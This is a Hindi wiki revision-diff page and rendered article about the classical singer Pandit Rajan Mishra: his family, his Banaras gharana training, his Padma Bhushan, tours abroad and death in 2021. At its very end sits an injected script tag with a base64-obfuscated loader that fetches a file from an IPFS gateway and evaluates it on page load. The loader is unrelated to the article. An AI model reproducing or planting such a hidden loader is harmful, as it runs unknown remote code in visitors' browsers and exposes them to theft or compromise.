"राजन मिश्रा": अवतरणों में अंतर
(''''पंडित राजन मिश्रा''' (अंग्रेज़ी: ''Pandit Rajan Mishra'', जन्म- ?; म...' के साथ नया पृष्ठ बनाया) |
No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
'''पंडित राजन मिश्रा''' ([[अंग्रेज़ी]]: ''Pandit Rajan Mishra'', जन्म- ?; मृत्यु- [[25 अप्रॅल]], [[2021]]) [[भारत]] के प्रसिद्ध शास्त्रीय गायक थे। राजन मिश्रा और साजन मिश्रा दोनों भाई थे और साथ में ही कला का प्रदर्शन करते थे। दोनों भाइयों ने पूरे विश्व में खूब प्रसिद्धी हासिल की। कुछ वर्षों पहले दोनों भाइयों ने कहा था कि आपदा के लिए प्रकृति नहीं हम जिम्मेदार हैं। उन्होंने यह भी कहा था कि हर इंसान को अपनी मानसिकता बदलनी ही होगी और प्रकृति का साथ देना होगा। राजन मिश्रा को साल [[2007]] में [[भारत सरकार]] द्वारा [[कला]] के क्षेत्र में [[पद्म भूषण]] से सम्मानित किया गया था। | {{सूचना बक्सा कलाकार | ||
|चित्र=Pandit-Rajan-Mishra.jpg | |||
|चित्र का नाम=राजन मिश्रा | |||
|पूरा नाम=पंडित राजन मिश्रा | |||
|प्रसिद्ध नाम= | |||
|अन्य नाम= | |||
|जन्म=? | |||
|जन्म भूमि= | |||
|मृत्यु=[[25 अप्रॅल]], [[2021]] | |||
|मृत्यु स्थान=[[दिल्ली]] | |||
|अभिभावक=[[पिता]]- पंडित हनुमान मिश्रा | |||
|पति/पत्नी= | |||
|संतान= | |||
|कर्म भूमि=[[भारत]] | |||
|कर्म-क्षेत्र=[[भारतीय शास्त्रीय संगीत]] | |||
|मुख्य रचनाएँ= | |||
|मुख्य फ़िल्में= | |||
|विषय= | |||
|शिक्षा= | |||
|विद्यालय= | |||
|पुरस्कार-उपाधि=[[पद्म भूषण]] ([[2007]]) | |||
|प्रसिद्धि=शास्त्रीय गायक | |||
|विशेष योगदान= | |||
|नागरिकता=भारतीय | |||
|संबंधित लेख= | |||
|शीर्षक 1=घराना | |||
|पाठ 1=[[बनारस घराना]] | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी=राजन मिश्रा का संबंध बनारस घराने से था। उन्होंने [[1978]] में [[श्रीलंका]] में अपना पहला संगीत कार्यक्रम दिया था। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}}'''पंडित राजन मिश्रा''' ([[अंग्रेज़ी]]: ''Pandit Rajan Mishra'', जन्म- ?; मृत्यु- [[25 अप्रॅल]], [[2021]]) [[भारत]] के प्रसिद्ध शास्त्रीय गायक थे। राजन मिश्रा और साजन मिश्रा दोनों भाई थे और साथ में ही कला का प्रदर्शन करते थे। दोनों भाइयों ने पूरे विश्व में खूब प्रसिद्धी हासिल की। कुछ वर्षों पहले दोनों भाइयों ने कहा था कि आपदा के लिए प्रकृति नहीं हम जिम्मेदार हैं। उन्होंने यह भी कहा था कि हर इंसान को अपनी मानसिकता बदलनी ही होगी और प्रकृति का साथ देना होगा। राजन मिश्रा को साल [[2007]] में [[भारत सरकार]] द्वारा [[कला]] के क्षेत्र में [[पद्म भूषण]] से सम्मानित किया गया था। | |||
==परिचय== | ==परिचय== | ||
राजन मिश्रा प्रसिद्ध शास्त्रीय गायक थे। 400 साल की पारिवारिक परम्परा को आगे बढ़ाते हुए दोनों भईयों- राजन मिश्रा और साजन मिश्रा ने भारतीय शास्त्रीय संगीत में महत्त्वपूर्ण योगदान दिया। उन्हें [[संगीत]] जगत में बहुत ही सम्मान से देखा जाता है। बनारस घराने में जन्मे पंडित राजन और पंडित साजन मिश्रा को संगीत की शिक्षा उनके दादा जी पंडित बड़े राम जी मिश्रा और [[पिता]] पंडित हनुमान मिश्रा ने ही दी थी। | राजन मिश्रा प्रसिद्ध शास्त्रीय गायक थे। 400 साल की पारिवारिक परम्परा को आगे बढ़ाते हुए दोनों भईयों- राजन मिश्रा और साजन मिश्रा ने [[भारतीय शास्त्रीय संगीत]] में महत्त्वपूर्ण योगदान दिया। उन्हें [[संगीत]] जगत में बहुत ही सम्मान से देखा जाता है। [[बनारस घराना|बनारस घराने]] में जन्मे पंडित राजन और पंडित साजन मिश्रा को संगीत की शिक्षा उनके दादा जी पंडित बड़े राम जी मिश्रा और [[पिता]] पंडित हनुमान मिश्रा ने ही दी थी। | ||
====विवाह== | ====विवाह==== | ||
साजन मिश्रा का [[विवाह]] पंडित बिरजू महाराज की पुत्री कविता से हुआ था और राजन जी का विवाह पंडित दामोदर मिश्र की पुत्री बीना से हुआ था। | साजन मिश्रा का [[विवाह]] पंडित बिरजू महाराज की पुत्री कविता से हुआ था और राजन जी का विवाह पंडित दामोदर मिश्र की पुत्री बीना से हुआ था। | ||
==प्रसिद्धि== | ==प्रसिद्धि== | ||
पंक्ति 9: | पंक्ति 41: | ||
राजन और साजन मिश्रा दोनों भाई थे और साथ में ही कला का प्रदर्शन करते थे। दोनों भाइयों ने पूरे विश्व में खूब प्रसिद्धी हासिल की। पंडित राजन और साजन मिश्रा का मानना था कि जैसे मनुष्य का शरीर पांच तत्वों से मिलकर बना है, वैसे ही [[संगीत]] के सात सुर ‘सारेगामापाधानी’ पशु-पक्षियों की आवाज से बनाए गए हैं। कुछ वर्षों पहले दोनों भाइयों ने कहा था कि आपदा के लिए प्रकृति नहीं, हम जिम्मेदार हैं। उन्होंने यह भी कहा था कि हर इंसान को अपनी मानसिकता बदलनी ही होगी और प्रकृति का साथ देना होगा। | राजन और साजन मिश्रा दोनों भाई थे और साथ में ही कला का प्रदर्शन करते थे। दोनों भाइयों ने पूरे विश्व में खूब प्रसिद्धी हासिल की। पंडित राजन और साजन मिश्रा का मानना था कि जैसे मनुष्य का शरीर पांच तत्वों से मिलकर बना है, वैसे ही [[संगीत]] के सात सुर ‘सारेगामापाधानी’ पशु-पक्षियों की आवाज से बनाए गए हैं। कुछ वर्षों पहले दोनों भाइयों ने कहा था कि आपदा के लिए प्रकृति नहीं, हम जिम्मेदार हैं। उन्होंने यह भी कहा था कि हर इंसान को अपनी मानसिकता बदलनी ही होगी और प्रकृति का साथ देना होगा। | ||
==मृत्यु== | ==मृत्यु== | ||
पंडित राजन मिश्रा का [[25 अप्रॅल]], [[2021]] को कोरोना के कारण निधन हुआ। उन्होंने 70 वर्ष की उम्र में [[दिल्ली]] के एक अस्पताल में अंतिम सांस ली। राजन मिश्रा को [[हृदय]] में समस्या होने के बाद दिल्ली के एक अस्पताल में भर्ती कराया गया था, लेकिन डॉक्टरों के अथक प्रयास के बाद भी उनकी जान नहीं बचायी जा सकी। | पंडित राजन मिश्रा का [[25 अप्रॅल]], [[2021]] को [[कोरोना विषाणु|कोरोना]] के कारण निधन हुआ। उन्होंने 70 वर्ष की उम्र में [[दिल्ली]] के एक अस्पताल में अंतिम सांस ली। राजन मिश्रा को [[हृदय]] में समस्या होने के बाद दिल्ली के एक अस्पताल में भर्ती कराया गया था, लेकिन डॉक्टरों के अथक प्रयास के बाद भी उनकी जान नहीं बचायी जा सकी। | ||
[[प्रधानमंत्री]] [[नरेंद्र मोदी]] ने [[पद्म भूषण]] पंडित राजन मिश्रा के निधन पर दु:ख जताया। उन्होंने एक ट्वीट कर कहा कि "शास्त्रीय गायन की दुनिया में अपनी अमिट छाप छोड़ने वाले पंडित राजन मिश्र जी के निधन से अत्यंत दु:ख पहुंचा है। बनारस घराने से जुड़े मिश्र जी का जाना [[कला]] और [[संगीत]] जगत के लिए एक अपूरणीय क्षति है। शोक की इस घड़ी में मेरी संवेदनाएं उनके परिजनों और प्रशंसकों के साथ हैं। ओम शांति!" | [[प्रधानमंत्री]] [[नरेंद्र मोदी]] ने [[पद्म भूषण]] पंडित राजन मिश्रा के निधन पर दु:ख जताया। उन्होंने एक ट्वीट कर कहा कि "शास्त्रीय गायन की दुनिया में अपनी अमिट छाप छोड़ने वाले पंडित राजन मिश्र जी के निधन से अत्यंत दु:ख पहुंचा है। बनारस घराने से जुड़े मिश्र जी का जाना [[कला]] और [[संगीत]] जगत के लिए एक अपूरणीय क्षति है। शोक की इस घड़ी में मेरी संवेदनाएं उनके परिजनों और प्रशंसकों के साथ हैं। ओम शांति!" |
09:20, 17 मई 2021 के समय का अवतरण
राजन मिश्रा
| |
पूरा नाम | पंडित राजन मिश्रा |
जन्म | ? |
मृत्यु | 25 अप्रॅल, 2021 |
मृत्यु स्थान | दिल्ली |
अभिभावक | पिता- पंडित हनुमान मिश्रा |
कर्म भूमि | भारत |
कर्म-क्षेत्र | भारतीय शास्त्रीय संगीत |
पुरस्कार-उपाधि | पद्म भूषण (2007) |
प्रसिद्धि | शास्त्रीय गायक |
नागरिकता | भारतीय |
घराना | बनारस घराना |
अन्य जानकारी | राजन मिश्रा का संबंध बनारस घराने से था। उन्होंने 1978 में श्रीलंका में अपना पहला संगीत कार्यक्रम दिया था। |
पंडित राजन मिश्रा (अंग्रेज़ी: Pandit Rajan Mishra, जन्म- ?; मृत्यु- 25 अप्रॅल, 2021) भारत के प्रसिद्ध शास्त्रीय गायक थे। राजन मिश्रा और साजन मिश्रा दोनों भाई थे और साथ में ही कला का प्रदर्शन करते थे। दोनों भाइयों ने पूरे विश्व में खूब प्रसिद्धी हासिल की। कुछ वर्षों पहले दोनों भाइयों ने कहा था कि आपदा के लिए प्रकृति नहीं हम जिम्मेदार हैं। उन्होंने यह भी कहा था कि हर इंसान को अपनी मानसिकता बदलनी ही होगी और प्रकृति का साथ देना होगा। राजन मिश्रा को साल 2007 में भारत सरकार द्वारा कला के क्षेत्र में पद्म भूषण से सम्मानित किया गया था।
परिचय
राजन मिश्रा प्रसिद्ध शास्त्रीय गायक थे। 400 साल की पारिवारिक परम्परा को आगे बढ़ाते हुए दोनों भईयों- राजन मिश्रा और साजन मिश्रा ने भारतीय शास्त्रीय संगीत में महत्त्वपूर्ण योगदान दिया। उन्हें संगीत जगत में बहुत ही सम्मान से देखा जाता है। बनारस घराने में जन्मे पंडित राजन और पंडित साजन मिश्रा को संगीत की शिक्षा उनके दादा जी पंडित बड़े राम जी मिश्रा और पिता पंडित हनुमान मिश्रा ने ही दी थी।
विवाह
साजन मिश्रा का विवाह पंडित बिरजू महाराज की पुत्री कविता से हुआ था और राजन जी का विवाह पंडित दामोदर मिश्र की पुत्री बीना से हुआ था।
प्रसिद्धि
साल 2007 में भारत सरकार द्वारा कला के क्षेत्र में राजन मिश्रा को पद्म भूषण से सम्मानित किया गया था। इनका संबंध बनारस घराने से था। उन्होंने 1978 में श्रीलंका में अपना पहला संगीत कार्यक्रम दिया और इसके बाद उन्होंने जर्मनी, फ्रांस, स्विट्जरलैंड, ऑस्ट्रिया, संयुक्त राज्य अमेरिका, ब्रिटेन, नीदरलैंड, यूएसएसआर, सिंगापुर, कतर, बांग्लादेश समेत दुनिया भर के कई देशों में प्रदर्शन किया।
राजन-साजन की जोड़ी
राजन और साजन मिश्रा दोनों भाई थे और साथ में ही कला का प्रदर्शन करते थे। दोनों भाइयों ने पूरे विश्व में खूब प्रसिद्धी हासिल की। पंडित राजन और साजन मिश्रा का मानना था कि जैसे मनुष्य का शरीर पांच तत्वों से मिलकर बना है, वैसे ही संगीत के सात सुर ‘सारेगामापाधानी’ पशु-पक्षियों की आवाज से बनाए गए हैं। कुछ वर्षों पहले दोनों भाइयों ने कहा था कि आपदा के लिए प्रकृति नहीं, हम जिम्मेदार हैं। उन्होंने यह भी कहा था कि हर इंसान को अपनी मानसिकता बदलनी ही होगी और प्रकृति का साथ देना होगा।
मृत्यु
पंडित राजन मिश्रा का 25 अप्रॅल, 2021 को कोरोना के कारण निधन हुआ। उन्होंने 70 वर्ष की उम्र में दिल्ली के एक अस्पताल में अंतिम सांस ली। राजन मिश्रा को हृदय में समस्या होने के बाद दिल्ली के एक अस्पताल में भर्ती कराया गया था, लेकिन डॉक्टरों के अथक प्रयास के बाद भी उनकी जान नहीं बचायी जा सकी।
प्रधानमंत्री नरेंद्र मोदी ने पद्म भूषण पंडित राजन मिश्रा के निधन पर दु:ख जताया। उन्होंने एक ट्वीट कर कहा कि "शास्त्रीय गायन की दुनिया में अपनी अमिट छाप छोड़ने वाले पंडित राजन मिश्र जी के निधन से अत्यंत दु:ख पहुंचा है। बनारस घराने से जुड़े मिश्र जी का जाना कला और संगीत जगत के लिए एक अपूरणीय क्षति है। शोक की इस घड़ी में मेरी संवेदनाएं उनके परिजनों और प्रशंसकों के साथ हैं। ओम शांति!"
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>